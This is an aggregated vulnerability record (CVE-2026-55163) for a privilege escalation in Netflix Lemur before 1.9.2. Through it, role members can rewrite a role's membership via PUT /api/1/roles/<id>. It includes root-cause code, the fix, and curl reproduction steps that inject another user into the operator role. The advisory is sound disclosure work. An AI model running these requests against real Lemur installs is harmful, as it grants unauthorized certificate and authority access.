{"id":"CVE-2026-55163","aliases":["EUVD-2026-61147","GHSA-x3vf-mgxj-7785","PYSEC-2026-2591"],"status":"published","title":"Lemur: Privilege escalation via PUT /api/1/roles/\u003cid\u003e — non-admin role members can rewrite role membership","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data[\"users\"] and data[\"name\"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00216,"percentile":0.12159,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-06-25T22:01:18Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"PyPI","package":"lemur","fixed_in":["1.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.1"},{"fixed":"1.9.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]},{"source":"osv","ecosystem":"PyPI","package":"lemur","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]}],"products":[{"vendor":"netflix","product":"lemur"}],"references":[{"url":"https://github.com/Netflix/lemur/security/advisories/GHSA-x3vf-mgxj-7785","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/Netflix/lemur/commit/9523a3b9cb3170ec9f795162b8c60e1ad3c4f9ce","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/Netflix/lemur/releases/tag/v1.9.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-x3vf-mgxj-7785","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55163.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55163","tags":["advisory"]},{"url":"https://github.com/Netflix/lemur","tags":["package"]},{"url":"https://pypi.org/project/lemur","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55163","title":"Lemur: Privilege escalation via PUT /api/1/roles/\u003cid\u003e — non-admin role members can rewrite role membership","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data[\"users\"] and data[\"name\"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:50:58.13Z","modified":"2026-08-19T18:21:06.074Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-61147","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data[\"users\"] and data[\"name\"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:50:58Z","modified":"2026-08-19T18:21:06Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T18:01:40.9092Z"}],"ghsa":[{"id":"GHSA-x3vf-mgxj-7785","title":"Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/\u003cid\u003e","description":"## Summary\n \nThe `PUT /api/1/roles/\u003cid\u003e` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data[\"users\"]` and `data[\"name\"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on the same resource is correctly gated by `@admin_permission.require`; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.\n \n## Root Cause\n \n`lemur/roles/views.py:298`:\n \n```python\npermission = RoleMemberPermission(role_id)\nif permission.can():\n    return service.update(\n        role_id, data[\"name\"], data.get(\"description\"), data.get(\"users\")\n    )\nreturn dict(message=\"You are not authorized to modify this role.\"), 403\n \n@admin_permission.require(http_exception=403)\ndef delete(self, role_id):\n    ...\n```\n \n`lemur/auth/permissions.py:56`:\n \n```python\nclass RoleMemberPermission(Permission):\n    def __init__(self, role_id):\n        needs = [RoleNeed(\"admin\"), RoleMemberNeed(role_id)]\n        super().__init__(*needs)\n```\n \n`flask_principal.Permission.allows()` is OR-semantic across needs, so `RoleMemberPermission(role_id).can()` returns `True` if the caller is either an admin **or** a member of `role_id`. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| PUT | /api/1/roles/`\u003cid\u003e` | lemur/roles/views.py:298 |\n \n## Impact\n \nA user who is a member of role X can:\n \n- **Add other users to role X**, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.\n- **Remove other users from role X**, denying their access (availability / governance impact).\n- **Rename role X** to an arbitrary string.\nThe \"rename to admin\" path is blocked by the `unique=True` constraint on `Role.name` and by strict equality in `User.is_admin`, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.\n \n## Remediation\n \nAdd `@admin_permission.require(http_exception=403)` to `Roles.put`, mirroring the existing decorator on `Roles.delete`:\n \n```python\n@admin_permission.require(http_exception=403)\ndef put(self, role_id, data=None):\n    ...\n```\n \nIf selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role *ownership* rather than membership, and the `name` field should be excluded from the mutable schema on that delegated path.\n \n## Steps to Reproduce\n \n1. Set up Lemur with default configuration. Create an admin user `admin`, and two non-admin users `alice` and `bob`. Add `alice` to the built-in `operator` role; leave `bob` with no roles or with `read-only` only.\n2. Authenticate as `alice` and capture the JWT:\n   ```\n   curl -X POST https://lemur.local/api/1/auth/login \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\"username\":\"alice\",\"password\":\"\u003calice_pw\u003e\"}'\n   ```\n \n3. Confirm the initial state - `bob` is not a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: alice present in users list, bob absent\n   ```\n \n4. As `alice`, send a PUT that injects `bob` into the `operator` role:\n   ```\n   curl -X PUT https://lemur.local/api/1/roles/\u003coperator_role_id\u003e \\\n        -H \"Authorization: Bearer \u003calice_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\n              \"name\": \"operator\",\n              \"description\": \"modified by alice\",\n              \"users\": [{\"id\": \u003calice_id\u003e}, {\"id\": \u003cbob_id\u003e}]\n            }'\n   # observe: HTTP 200\n   ```\n \n5. Confirm `bob` is now a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: bob now present in users list\n   ```\n \nStep 4 succeeds despite `alice` not being an admin. The same handler also accepts a `name` field; substituting `\"name\": \"operator_v2\"` in step 4 renames the role, demonstrating the second variant of the bug.","status":"published","published":"2026-06-25T22:01:18Z","modified":"2026-06-25T22:01:20Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:40:33.778544Z"}],"nvd":[{"id":"CVE-2026-55163","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data[\"users\"] and data[\"name\"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T19:16:58.357Z","modified":"2026-10-22T22:10:00.25Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:38.976695Z"}],"osv":[{"id":"CVE-2026-55163","title":"Lemur: Privilege escalation via PUT /api/1/roles/\u003cid\u003e — non-admin role members can rewrite role membership","description":"Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data[\"users\"] and data[\"name\"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.","status":"published","published":"2026-08-18T18:50:58.13Z","modified":"2026-10-28T02:31:07.664765096Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-x3vf-mgxj-7785","title":"Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/\u003cid\u003e","description":"## Summary\n \nThe `PUT /api/1/roles/\u003cid\u003e` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data[\"users\"]` and `data[\"name\"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on the same resource is correctly gated by `@admin_permission.require`; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.\n \n## Root Cause\n \n`lemur/roles/views.py:298`:\n \n```python\npermission = RoleMemberPermission(role_id)\nif permission.can():\n    return service.update(\n        role_id, data[\"name\"], data.get(\"description\"), data.get(\"users\")\n    )\nreturn dict(message=\"You are not authorized to modify this role.\"), 403\n \n@admin_permission.require(http_exception=403)\ndef delete(self, role_id):\n    ...\n```\n \n`lemur/auth/permissions.py:56`:\n \n```python\nclass RoleMemberPermission(Permission):\n    def __init__(self, role_id):\n        needs = [RoleNeed(\"admin\"), RoleMemberNeed(role_id)]\n        super().__init__(*needs)\n```\n \n`flask_principal.Permission.allows()` is OR-semantic across needs, so `RoleMemberPermission(role_id).can()` returns `True` if the caller is either an admin **or** a member of `role_id`. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| PUT | /api/1/roles/`\u003cid\u003e` | lemur/roles/views.py:298 |\n \n## Impact\n \nA user who is a member of role X can:\n \n- **Add other users to role X**, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.\n- **Remove other users from role X**, denying their access (availability / governance impact).\n- **Rename role X** to an arbitrary string.\nThe \"rename to admin\" path is blocked by the `unique=True` constraint on `Role.name` and by strict equality in `User.is_admin`, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.\n \n## Remediation\n \nAdd `@admin_permission.require(http_exception=403)` to `Roles.put`, mirroring the existing decorator on `Roles.delete`:\n \n```python\n@admin_permission.require(http_exception=403)\ndef put(self, role_id, data=None):\n    ...\n```\n \nIf selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role *ownership* rather than membership, and the `name` field should be excluded from the mutable schema on that delegated path.\n \n## Steps to Reproduce\n \n1. Set up Lemur with default configuration. Create an admin user `admin`, and two non-admin users `alice` and `bob`. Add `alice` to the built-in `operator` role; leave `bob` with no roles or with `read-only` only.\n2. Authenticate as `alice` and capture the JWT:\n   ```\n   curl -X POST https://lemur.local/api/1/auth/login \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\"username\":\"alice\",\"password\":\"\u003calice_pw\u003e\"}'\n   ```\n \n3. Confirm the initial state - `bob` is not a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: alice present in users list, bob absent\n   ```\n \n4. As `alice`, send a PUT that injects `bob` into the `operator` role:\n   ```\n   curl -X PUT https://lemur.local/api/1/roles/\u003coperator_role_id\u003e \\\n        -H \"Authorization: Bearer \u003calice_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\n              \"name\": \"operator\",\n              \"description\": \"modified by alice\",\n              \"users\": [{\"id\": \u003calice_id\u003e}, {\"id\": \u003cbob_id\u003e}]\n            }'\n   # observe: HTTP 200\n   ```\n \n5. Confirm `bob` is now a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: bob now present in users list\n   ```\n \nStep 4 succeeds despite `alice` not being an admin. The same handler also accepts a `name` field; substituting `\"name\": \"operator_v2\"` in step 4 renames the role, demonstrating the second variant of the bug.","status":"published","published":"2026-06-25T22:01:18Z","modified":"2026-07-13T16:42:41.442313132Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:59.484835Z"},{"id":"PYSEC-2026-2591","title":"Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/\u003cid\u003e","description":"## Summary\n \nThe `PUT /api/1/roles/\u003cid\u003e` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data[\"users\"]` and `data[\"name\"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on the same resource is correctly gated by `@admin_permission.require`; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.\n \n## Root Cause\n \n`lemur/roles/views.py:298`:\n \n```python\npermission = RoleMemberPermission(role_id)\nif permission.can():\n    return service.update(\n        role_id, data[\"name\"], data.get(\"description\"), data.get(\"users\")\n    )\nreturn dict(message=\"You are not authorized to modify this role.\"), 403\n \n@admin_permission.require(http_exception=403)\ndef delete(self, role_id):\n    ...\n```\n \n`lemur/auth/permissions.py:56`:\n \n```python\nclass RoleMemberPermission(Permission):\n    def __init__(self, role_id):\n        needs = [RoleNeed(\"admin\"), RoleMemberNeed(role_id)]\n        super().__init__(*needs)\n```\n \n`flask_principal.Permission.allows()` is OR-semantic across needs, so `RoleMemberPermission(role_id).can()` returns `True` if the caller is either an admin **or** a member of `role_id`. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| PUT | /api/1/roles/`\u003cid\u003e` | lemur/roles/views.py:298 |\n \n## Impact\n \nA user who is a member of role X can:\n \n- **Add other users to role X**, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.\n- **Remove other users from role X**, denying their access (availability / governance impact).\n- **Rename role X** to an arbitrary string.\nThe \"rename to admin\" path is blocked by the `unique=True` constraint on `Role.name` and by strict equality in `User.is_admin`, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.\n \n## Remediation\n \nAdd `@admin_permission.require(http_exception=403)` to `Roles.put`, mirroring the existing decorator on `Roles.delete`:\n \n```python\n@admin_permission.require(http_exception=403)\ndef put(self, role_id, data=None):\n    ...\n```\n \nIf selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role *ownership* rather than membership, and the `name` field should be excluded from the mutable schema on that delegated path.\n \n## Steps to Reproduce\n \n1. Set up Lemur with default configuration. Create an admin user `admin`, and two non-admin users `alice` and `bob`. Add `alice` to the built-in `operator` role; leave `bob` with no roles or with `read-only` only.\n2. Authenticate as `alice` and capture the JWT:\n   ```\n   curl -X POST https://lemur.local/api/1/auth/login \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\"username\":\"alice\",\"password\":\"\u003calice_pw\u003e\"}'\n   ```\n \n3. Confirm the initial state - `bob` is not a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: alice present in users list, bob absent\n   ```\n \n4. As `alice`, send a PUT that injects `bob` into the `operator` role:\n   ```\n   curl -X PUT https://lemur.local/api/1/roles/\u003coperator_role_id\u003e \\\n        -H \"Authorization: Bearer \u003calice_jwt\u003e\" \\\n        -H \"Content-Type: application/json\" \\\n        -d '{\n              \"name\": \"operator\",\n              \"description\": \"modified by alice\",\n              \"users\": [{\"id\": \u003calice_id\u003e}, {\"id\": \u003cbob_id\u003e}]\n            }'\n   # observe: HTTP 200\n   ```\n \n5. Confirm `bob` is now a member of `operator`:\n   ```\n   curl https://lemur.local/api/1/roles?filter=name;operator \\\n        -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n   # observe: bob now present in users list\n   ```\n \nStep 4 succeeds despite `alice` not being an admin. The same handler also accepts a `name` field; substituting `\"name\": \"operator_v2\"` in step 4 renames the role, demonstrating the second variant of the bug.","status":"published","published":"2026-07-13T15:46:24.254728Z","modified":"2026-07-13T16:32:03.185964395Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}
